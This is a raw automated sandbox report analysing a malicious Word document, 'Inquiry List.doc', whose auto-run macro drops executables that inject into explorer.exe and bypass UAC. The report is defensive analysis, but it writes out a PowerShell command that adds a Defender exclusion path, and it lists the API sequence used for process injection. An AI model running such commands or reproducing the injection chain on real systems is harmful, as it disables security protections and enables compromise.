Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002D44B0 CreateProcessW,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,_memmove,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,_memmove,CreateEventW,RtlCreateUserThread,WaitForSingleObject,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtClose,CloseHandle,TerminateProcess,CloseHandle,CloseHandle,CloseHandle,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,TerminateProcess,CloseHandle,CloseHandle,	5_2_002D44B0
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002D77F0 NtdllDefWindowProc_W,	5_2_002D77F0
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_009338D0 GetCurrentProcess,_memset,lstrcpyW,_memset,CreateProcessW,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,_memmove,_memmove,_memmove,_memmove,CreateEventW,GetModuleHandle64,GetProcAddress64,X64Call,WaitForSingleObject,ResetEvent,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtClose,CloseHandle,ResetEvent,CloseHandle,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,	9_2_009338D0
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_0092A1B0 GetCurrentProcess,_memset,CreateProcessW,NtCreateSection,NtMapViewOfSection,_memmove,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,_memmove,NtMapViewOfSection,_memset,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,CloseHandle,CloseHandle,	9_2_0092A1B0
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_009344B0 CreateProcessW,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,_memmove,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,_memmove,CreateEventW,RtlCreateUserThread,WaitForSingleObject,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtClose,CloseHandle,TerminateProcess,CloseHandle,CloseHandle,CloseHandle,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,TerminateProcess,CloseHandle,CloseHandle,	9_2_009344B0
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_009377F0 NtdllDefWindowProc_W,	9_2_009377F0
Source: C:\Windows\explorer.exe	Code function: 15_2_02E611A4 CloseHandle,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,TerminateProcess,CloseHandle,CloseHandle,	15_2_02E611A4
Source: C:\Windows\explorer.exe	Code function: 15_2_02E57940 GetCurrentProcess,CreateProcessW,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,GetThreadContext,SetThreadContext,ResumeThread,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,CloseHandle,CloseHandle,TerminateProcess,	15_2_02E57940
Source: C:\Windows\explorer.exe	Code function: 15_2_02E60740 CreateProcessW,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,LoadLibraryW,GetProcAddress,GetProcAddress,lstrcpyW,lstrcpyW,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,CreateEventW,RtlCreateUserThread,WaitForSingleObject,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtClose,CloseHandle,TerminateProcess,CloseHandle,CloseHandle,CloseHandle,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,TerminateProcess,CloseHandle,CloseHandle,	15_2_02E60740
Source: C:\ProgramData\windows\windows.exe	Code function: 21_2_009338D0 GetCurrentProcess,_memset,lstrcpyW,_memset,CreateProcessW,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,_memmove,_memmove,_memmove,_memmove,CreateEventW,GetModuleHandle64,GetProcAddress64,X64Call,WaitForSingleObject,ResetEvent,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtClose,CloseHandle,ResetEvent,CloseHandle,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,	21_2_009338D0
Source: C:\ProgramData\windows\windows.exe	Code function: 21_2_0092A1B0 GetCurrentProcess,_memset,CreateProcessW,NtCreateSection,NtMapViewOfSection,_memmove,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,_memmove,NtMapViewOfSection,_memset,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,CloseHandle,CloseHandle,	21_2_0092A1B0
Source: C:\ProgramData\windows\windows.exe	Code function: 21_2_009344B0 CreateProcessW,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,_memmove,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,_memmove,CreateEventW,RtlCreateUserThread,WaitForSingleObject,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtClose,CloseHandle,TerminateProcess,CloseHandle,CloseHandle,CloseHandle,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,TerminateProcess,CloseHandle,CloseHandle,	21_2_009344B0
Source: C:\ProgramData\windows\windows.exe	Code function: 21_2_009377F0 NtdllDefWindowProc_W,	21_2_009377F0

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Windows\SysWOW64\brightness.exe

Jump to behavior

Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002E4827	5_2_002E4827
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002E5814	5_2_002E5814
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002E505A	5_2_002E505A
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002F01AF	5_2_002F01AF
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002F1B14	5_2_002F1B14
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002E542C	5_2_002E542C
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002EFC5E	5_2_002EFC5E
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002E4CBC	5_2_002E4CBC
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002F0DDC	5_2_002F0DDC
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002DAE80	5_2_002DAE80
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002D1690	5_2_002D1690
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002DAED9	5_2_002DAED9
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_00945814	9_2_00945814
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_00944827	9_2_00944827
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_0094505A	9_2_0094505A
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_009501AF	9_2_009501AF
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_00951B14	9_2_00951B14
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_00944CBC	9_2_00944CBC
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_0094542C	9_2_0094542C
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_0094FC5E	9_2_0094FC5E
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_00950DDC	9_2_00950DDC
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_00931690	9_2_00931690
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_0093AE80	9_2_0093AE80
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_0093AED9	9_2_0093AED9
Source: C:\Windows\explorer.exe	Code function: 15_2_02E72210	15_2_02E72210
Source: C:\Windows\explorer.exe	Code function: 15_2_02E51000	15_2_02E51000
Source: C:\Windows\explorer.exe	Code function: 15_2_02E75D20	15_2_02E75D20
Source: C:\Windows\explorer.exe	Code function: 15_2_02E7CAFC	15_2_02E7CAFC
Source: C:\Windows\explorer.exe	Code function: 15_2_02E852C8	15_2_02E852C8
Source: C:\Windows\explorer.exe	Code function: 15_2_02E612B0	15_2_02E612B0
Source: C:\Windows\explorer.exe	Code function: 15_2_02E72286	15_2_02E72286
Source: C:\Windows\explorer.exe	Code function: 15_2_02E79BEC	15_2_02E79BEC
Source: C:\Windows\explorer.exe	Code function: 15_2_02E5CBF0	15_2_02E5CBF0
Source: C:\Windows\explorer.exe	Code function: 15_2_02E85B2C	15_2_02E85B2C
Source: C:\Windows\explorer.exe	Code function: 15_2_02E5E8C0	15_2_02E5E8C0
Source: C:\Windows\explorer.exe	Code function: 15_2_02E5A8C0	15_2_02E5A8C0
Source: C:\Windows\explorer.exe	Code function: 15_2_02E5B8B0	15_2_02E5B8B0
Source: C:\Windows\explorer.exe	Code function: 15_2_02E7E88C	15_2_02E7E88C
Source: C:\Windows\explorer.exe	Code function: 15_2_02E7F834	15_2_02E7F834
Source: C:\Windows\explorer.exe	Code function: 15_2_02E839FC	15_2_02E839FC
Source: C:\Windows\explorer.exe	Code function: 15_2_02E57940	15_2_02E57940
Source: C:\Windows\explorer.exe	Code function: 15_2_02E57EF0	15_2_02E57EF0
Source: C:\Windows\explorer.exe	Code function: 15_2_02E62690	15_2_02E62690
Source: C:\Windows\explorer.exe	Code function: 15_2_02E72660	15_2_02E72660
Source: C:\Windows\explorer.exe	Code function: 15_2_02E5DE20	15_2_02E5DE20
Source: C:\Windows\explorer.exe	Code function: 15_2_02E6CFC0	15_2_02E6CFC0
Source: C:\Windows\explorer.exe	Code function: 15_2_02E60740	15_2_02E60740
Source: C:\Windows\explorer.exe	Code function: 15_2_02E6ACE0	15_2_02E6ACE0
Source: C:\Windows\explorer.exe	Code function: 15_2_02E6A4A0	15_2_02E6A4A0
Source: C:\Windows\explorer.exe	Code function: 15_2_02E69CB0	15_2_02E69CB0
Source: C:\Windows\explorer.exe	Code function: 15_2_02E6C491	15_2_02E6C491
Source: C:\Windows\explorer.exe	Code function: 15_2_02E6C410	15_2_02E6C410
Source: C:\Windows\explorer.exe	Code function: 15_2_02E865D8	15_2_02E865D8
Source: C:\Windows\explorer.exe	Code function: 15_2_02E54DA0	15_2_02E54DA0
Source: C:\ProgramData\windows\windows.exe	Code function: 21_2_00945814	21_2_00945814
Source: C:\ProgramData\windows\windows.exe	Code function: 21_2_00944827	21_2_00944827
Source: C:\ProgramData\windows\windows.exe	Code function: 21_2_0094505A	21_2_0094505A
Source: C:\ProgramData\windows\windows.exe	Code function: 21_2_009501AF	21_2_009501AF
Source: C:\ProgramData\windows\windows.exe	Code function: 21_2_00951B14	21_2_00951B14
Source: C:\ProgramData\windows\windows.exe	Code function: 21_2_00944CBC	21_2_00944CBC
Source: C:\ProgramData\windows\windows.exe	Code function: 21_2_0094542C	21_2_0094542C
Source: C:\ProgramData\windows\windows.exe	Code function: 21_2_0094FC5E	21_2_0094FC5E
Source: C:\ProgramData\windows\windows.exe	Code function: 21_2_00950DDC	21_2_00950DDC
Source: C:\ProgramData\windows\windows.exe	Code function: 21_2_00931690	21_2_00931690
Source: C:\ProgramData\windows\windows.exe	Code function: 21_2_0093AE80	21_2_0093AE80
Source: C:\ProgramData\windows\windows.exe	Code function: 21_2_0093AED9	21_2_0093AED9

Source: Inquiry List.doc	OLE, VBA macro line: Sub AutoOpen()
Source: VBA code instrumentation	OLE, VBA macro: Module ThisDocument, Function AutoOpen			Name: AutoOpen

Source: Inquiry List.doc

OLE indicator, VBA macros: true

Source: C:\Windows\explorer.exe	Code function: String function: 02E78378 appears 48 times
Source: C:\ProgramData\windows\windows.exe	Code function: String function: 0094B160 appears 52 times

Source: 9.2.windows.exe.d3cfb0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 9.2.windows.exe.d3cfb0.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 15.2.explorer.exe.2e50000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 21.2.windows.exe.920000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 9.2.windows.exe.920000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 5.2.brightness.exe.2c0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)

Source: classification engine

Classification label: mal100.troj.expl.evad.winDOC@24/15@4/2

Source: C:\Windows\SysWOW64\brightness.exe

Code function: 5_2_002DCA00 GetCurrentProcessId,CreateToolhelp32Snapshot,Process32FirstW,CloseHandle,Process32NextW,CloseHandle,

5_2_002DCA00

Source: C:\Windows\SysWOW64\brightness.exe

Code function: 5_2_002DCDB0 CoInitialize,CoCreateInstance,CoUninitialize,

5_2_002DCDB0

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Users\user\Desktop\~$quiry List.doc

Jump to behavior

Source: C:\Windows\SysWOW64\brightness.exe	Mutant created: \Sessions\1\BaseNamedObjects\{298EF64F-9724-4367-96E8-8BCBA728A252}
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\ProgramData\windows\windows.exe	Mutant created: \Sessions\1\BaseNamedObjects\{21AA2932-B56E-4A88-96A8-ED25B3407693}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7608:120:WilError_03
Source: C:\ProgramData\windows\windows.exe	Mutant created: \Sessions\1\BaseNamedObjects\{90CA5DAB-A40E-4E50-9755-11BEEF1B67F8}
Source: C:\ProgramData\windows\windows.exe	Mutant created: \Sessions\1\BaseNamedObjects\{7146D285-3342-474C-BB25-39FBDB96F949}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8040:120:WilError_03

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\{59D6979D-90EE-4A2F-BA28-308952958442} - OProcSessId.dat

Jump to behavior

Source: Inquiry List.doc

OLE indicator, Word Document stream: true

Source: Inquiry List.doc

OLE document summary: title field not present or empty

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\{A6378F27-E3E4-43B5-A4A9-3CD42AEFDEDB}\{01CD18C6-8DB4-4D19-901B-142FFEF41E7A}.bat" "

Source: C:\ProgramData\windows\windows.exe	Process created: C:\Windows\explorer.exe
Source: C:\ProgramData\windows\windows.exe	Process created: C:\Windows\explorer.exe			Jump to behavior

Source: C:\Windows\SysWOW64\brightness.exe	Command line argument: %s\explorer.exe	5_2_002C1000
Source: C:\Windows\SysWOW64\brightness.exe	Command line argument: %s\svchost.exe	5_2_002C1000
Source: C:\Windows\SysWOW64\brightness.exe	Command line argument: %s\cmd.exe	5_2_002C1000
Source: C:\ProgramData\windows\windows.exe	Command line argument: %s\explorer.exe	9_2_00921000
Source: C:\ProgramData\windows\windows.exe	Command line argument: %s\svchost.exe	9_2_00921000
Source: C:\ProgramData\windows\windows.exe	Command line argument: %s\cmd.exe	9_2_00921000
Source: C:\ProgramData\windows\windows.exe	Command line argument: %s\explorer.exe	21_2_00921000
Source: C:\ProgramData\windows\windows.exe	Command line argument: %s\svchost.exe	21_2_00921000
Source: C:\ProgramData\windows\windows.exe	Command line argument: %s\cmd.exe	21_2_00921000

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\brightness.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Inquiry List.doc	Virustotal: Detection: 60%
Source: Inquiry List.doc	ReversingLabs: Detection: 55%

Source: brightness.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: windows.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: windows.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\brightness.exe C:\Windows\SysWOW64\brightness.exe
Source: C:\Windows\SysWOW64\brightness.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows'
Source: C:\Windows\SysWOW64\brightness.exe	Process created: C:\ProgramData\windows\windows.exe "C:\ProgramData\windows\windows.exe" {D8E15931-E2AD-40B5-A4D1-41BD1741249E}
Source: C:\ProgramData\windows\windows.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows'
Source: C:\ProgramData\windows\windows.exe	Process created: C:\Windows\explorer.exe "C:\Windows\explorer.exe"
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\{A6378F27-E3E4-43B5-A4A9-3CD42AEFDEDB}\{01CD18C6-8DB4-4D19-901B-142FFEF41E7A}.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c start "" "C:\ProgramData\windows\windows.exe" {5EED0EA3-A73E-442A-9D20-84320F1AFCBA}
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\windows\windows.exe "C:\ProgramData\windows\windows.exe" {5EED0EA3-A73E-442A-9D20-84320F1AFCBA}
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\brightness.exe C:\Windows\SysWOW64\brightness.exe	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows'	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Process created: C:\ProgramData\windows\windows.exe "C:\ProgramData\windows\windows.exe" {D8E15931-E2AD-40B5-A4D1-41BD1741249E}	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows'	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows'	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	Process created: C:\Windows\explorer.exe "C:\Windows\explorer.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c start "" "C:\ProgramData\windows\windows.exe" {5EED0EA3-A73E-442A-9D20-84320F1AFCBA}
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\windows\windows.exe "C:\ProgramData\windows\windows.exe" {5EED0EA3-A73E-442A-9D20-84320F1AFCBA}

Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	Section loaded: dbghelp.dll	Jump to behavior
